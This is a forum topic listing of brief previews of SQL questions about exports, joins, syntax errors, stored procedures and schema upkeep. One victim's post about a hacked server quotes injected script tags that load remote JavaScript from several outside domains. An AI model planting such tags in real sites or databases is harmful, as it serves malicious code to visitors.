2,935 Topics
| |
Hi, Im running MSFT SQL Server Mgmt Studio 2005 and would like to export all the tables in a DB where the # of rows > 0. I would like to export all tables to individual XLS files. I've gone through BCP documentation to no avail. [B]Is there a simple … | |
I have a table which counts messages sent to a particular department. the important structure is basically ID Department Message DateSent I want to be able to retrieve a resultset where that looks like this: Department MessageCount something like a SELECT COUNT(ID) Where Department=XXX but collect each individual department count … | |
[code]strSQL= "SELECT ShowsPictures.ID, ShowsPictures.Show, ShowsPictures.LinkToWork, Works.*, Artists.ID, Artists.Surname, Artists.Name FROM Artists INNER JOIN (ShowsPictures [B]RIGHT JOIN [/B]Works ON ShowsPictures.LinkToWork=Works.ID) ON Artists.ID=Works.Artist WHERE ShowsPictures.Show='"&intShowID&"' AND ShowsPictures.PicOnShowsList=True"[/code] I wrote this SQL instruction and it does work with a RIGHT JOIN or a INNER JOIN as second Join (in bold), but doesn't with … | |
when i want to execute the following expression [code=sql]INSERT INTO Birim ('erol', 'serbest', 'asfsda')[/code] it gives an error like that: Msg 102, Level 15, State 1, Line 1 Incorrect syntax near ')'. where is my mistake? | |
| Can anyone help? I have been fumbling around with a SQL statement for days trying to make this work. I am looking for a Statement that will output a table based on an incremented number. Example Table1: Value1.......Value2.......Incremented Number 14...............null.............1 12..............15...............2 12...............98..............3 15...............14..............4 17...............15..............5 1.................14..............6 5.................98..............7 Example Table2: Value1.........Value2 X030............1 … |
Hi I have table2 and table1. I want to check if table2 values exist in table1. If they do, I want them to be displayed on datagridview in a form. The table1 and table2 have same fields except that the primary key in each table is the serial number. Even … | |
I want a button click event to do this: can i use "UNMATCHED" keyword in the same SQL Statment using a UNION ? pls help me with this!! table1 is my master Db and table2 is my work DB.. both have same columns expect that primary key in both tables … | |
the code worked perfect on Friday and when I come back today and try.. the RAM alone works fine in the T-SQL but the Mfg, Make, GraphicsCard and GraphicsVersion do not work atall.. they dont give me any queries atall in the data grid view o/p.. why am i stuck … | |
Or should I say just making sure all columns are created and proper. I have 6 databases I need to keep maintained to a similar level, all standalone. What is the best way to keep the schemas up to date without resorting to manually updating...? Obviously I cannot use DROP … | |
hello, I'm kinda newbie in databases. I have a table like that: DB is MSSQL 2003 Name is varchar Fruit is int (i used the name just to avoid mess with numbers) the number and the type of the fruit is fixed (in real case are 1,2,3 and 4) Qty … | |
I need to choose a value from a combo box and check if that exists in a table and if it does..i need to make a button glow green.. I am not sure how I have to check if the chosen value exists in that table.. can you please help … | |
I have a table with 3 columns as follows: lower upper id 12 20 100 100 150 200 I want to select range of numbers based on lower and upper column. For example I want to display numbers between 12 to 20 or from 100 to 150. How to do … | |
Hi: I have a question.. I got a control/master database. I have another work database. I have to match each value from 2 fields present in my work database to a control db. The values could be anywhere in the fields in my master db.. it just has to be … | |
Hi... I have a sql 2005 database called KN_online.. I have a stored procedure called Account_Login [code] USE [KN_online] GO /****** Object: StoredProcedure [dbo].[ACCOUNT_LOGIN] Script Date: 07/16/2008 01:01:34 ******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO create PROCEDURE [dbo].[ACCOUNT_LOGIN] @AccountID varchar(21), @Password varchar(13), @nRet smallint OUTPUT AS DECLARE @Nation … | |
Hello All, any code immediately following an 'N' is throwing an error. Please advise on why. TIA. [code] set @localized_string_AddRole_Failed = N'Failed adding the ''state_persistence_users'' role' DECLARE @ret int, @Error int IF NOT EXISTS( SELECT 1 FROM [dbo].[sysusers] WHERE name=N'state_persistence_users' and issqlrole=1 ) BEGIN EXEC @ret = sp_addrole N'state_persistence_users' SELECT … | |
Hello, If I have a table like this where i have the year and the month, how can a get something like 2008 3 after a select? - I mean the maximum month for the maximum year? Thank you. [CODE] year month 2006 1 2007 1 2006 2 2007 2 … | |
I want to connect to a remote SQL server database in C# and the connection string needs USER NAME and PASSWORD,(I think its they`re database`s) Any way How can I create usr and pass for a databaese? I tried it in users part of databse but it wants(user name,login name??,and … | |
hello guys, i wanted to write a query, or a view to be exact to display data from two tables as follow: 1. schedule_table (scheduleID as pk) 2. remarks (remarkID as pk, scheduleID as fk) meaning a schedule can contain many many remarks and non at all. now the problem … | |
hi all, I want to calculate days b/w two different month like as 7/15/2008 and 9/30/2008 this is silly question but i have problm to calculte ti .Its urgent in projec | |
there is another problem that i am facing..i got 2 comboboxes filled with values from MS Access and they have values like 1.00,2.00,2.98,3.00,3.25 and 8.00 I want to be able to choose 2 values i.e. one value from each combo box and when I hit click I should get queries … | |
Sorry, I posted this in the wrong area (I'm using MySQL) Hello all: I'm currently building a website for a radio station and I want to setup a programming lineup. The fields I'm using are: ID Title Dayofweek (Show Day) Timeslot (Show Time) AMPM (AM or PM) Description Name (Host … | |
I have written the following Stored Procedure in an attempt to update two tables in the same database reliably but unfortunately it is not too successful. I ocassionaly end up with only the BundlesIssued tables updated and nothing in TicketsIssued. Please make suggestions on how I could make this stored … | |
Hello, I have a table with a field AFM (integer), I want to display all fields of the AFM column that have the same value eg. 1 row has 1111 2 row has 4567 3 row has 1111 4 row has 5678 5 row has 3456 6 row has 3456 … | |
Hi, Why a database with two words separated by a space causes problem to a bcp command like below : EXEC xp_cmdshell 'bcp [History Data].dbo.InventoryValuation_FP102008" out D:\test.txt -q -T -c' Do you guys met with the same problem before? If yes, how to solve it. Many thanks. | |
hello frds, I m working on windows app in .net envirement with c#. I want to fetch large amount of data from a table and load it to my app. by dataset. but problem is, it unable to handle this or take a long time. My table have approx 10 … | |
Hi all, I want to install both SQL and the MS.NET software.The normal order is install MS.NET first ,then the SQL .But I wat to install SQL first .Can MSSQL sever installed before MS.NET? Suggestions please !!! Thanks in advance ! | |
Hello everybody, i'm a newbie to MSSQL - so excuse the newbie question. i am creating a page wich is hosted like any other page on a web server, i need to somehow connect to a MSSQL server , wich is located on a normal computer and connected to the … | |
hi i'm a new user to ms sql 2005. Can anyone please tell me how can i make a existing null constraint column of a table as a not null ..... i.e If a column already exists and can hv null value ,then how can i convert it into not … | |
Four times my MSSQL Server hacked. Somebody inserts most of the tables text, varchar fields with its value adding at the end with<script src=http://www.pyttco.com/ngg.js></script> I changed my ftp usernamd and password, database username and password. Still they are able to insert different scripts like <script src=http://www.cdport.eu/ngg.js></script> <script src=http://www.drvadw.com/ngg.js></script> <script src=http://www.bnrc.ru/ngg.js></script> … | |
Hi all! Ive created this code to read in data from several tables but i have a problem with SUM. With this code im trying to add together all the null values that have the most recent date but all the SUM commandi have does is multiply the number by … |
The End.